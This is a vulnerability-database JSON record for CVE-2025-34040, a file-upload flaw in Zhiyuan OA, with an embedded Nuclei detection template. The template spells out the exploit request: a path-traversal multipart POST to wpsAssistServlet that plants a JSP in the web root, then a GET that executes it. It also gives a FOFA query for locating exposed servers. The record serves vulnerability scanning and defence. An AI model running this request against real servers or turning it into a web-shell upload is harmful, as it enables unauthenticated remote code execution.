{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2025-34040/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2025-34040/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2025-34040/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2025-34040/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2025-34040/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2025-34040"},"sightings":{"href":"/api/v1/sightings/cve-2025-34040"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.15109,"kev":false,"percentile":0.96585},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2025/CVE-2025-34040.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2025-34040\n\ninfo:\n  name: Zhiyuan OA Platform - Arbitrary File Upload\n  author: iamnoooob,pdresearch\n  severity: critical\n  description: |\n    An arbitrary file upload vulnerability exists in the Zhiyuan OA platform 5.0, 5.1 - 5.6sp1, 6.0 - 6.1sp2, 7.0, 7.0sp1 - 7.1, 7.1sp1, and 8.0 - 8.0sp2 via the wpsAssistServlet interface. The realFileType and fileId parameters are improperly validated during multipart file uploads, allowing unauthenticated attackers to upload crafted JSP files outside of intended directories using path traversal. Successful exploitation enables remote code execution as the uploaded file can be accessed and executed through the web server.\n  impact: |\n    Unauthenticated attackers can upload malicious JSP files through path traversal in the wpsAssistServlet interface, achieving remote code execution on the Zhiyuan OA server.\n  remediation: |\n    Upgrade to Zhiyuan OA platform version 8.0sp3 or later that properly validates file upload paths and file types.\n  reference:\n    - https://www.cve.org/CVERecord?id=CVE-2025-34040\n    - https://www.cnblogs.com/pursue-security/p/17677130.html\n  classification:\n    epss-score: 0.15109\n    epss-percentile: 0.96585\n  metadata:\n    verified: true\n    max-request: 1\n    fofa-query: body=\"seeyon/index.jsp\"\n  tags: cve,cve2025,file-upload,intrusive,zhiyuan,lfi,vkev,vuln\n\nvariables:\n  marker: \"{{randstr}}\"\n  filename: \"{{randbase(8)}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /seeyon/wpsAssistServlet?flag=save&realFileType=../../../../ApacheJetspeed/webapps/ROOT/{{filename}}.jsp&fileId=2 HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=59229605f98b8cf290a7b8908b34616b\n        Accept-Encoding: gzip\n\n        --59229605f98b8cf290a7b8908b34616b\n        Content-Disposition: form-data; name=\"upload\"; filename=\"123.xls\"\n        Content-Type: application/vnd.ms-excel\n\n        <%@ page import=\"java.util.Base64\" %><%= new String(Base64.getDecoder().decode(\"{{base64(marker)}}\"), \"UTF-8\") %>\n        --59229605f98b8cf290a7b8908b34616b--\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"officeTransResultFlag\"\n          - '\"success\":true'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /{{filename}}.jsp HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"{{marker}}\"\n# digest: 4a0a004730450221008895ba71871dca5da7bd65b3d3d8d6d2ceb85c1c52e98135cbe69abda4c62dff022073e3de35084938d408297755a8fbb44b46602154ed67dd3174679593fac39c8f:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2025-34040"}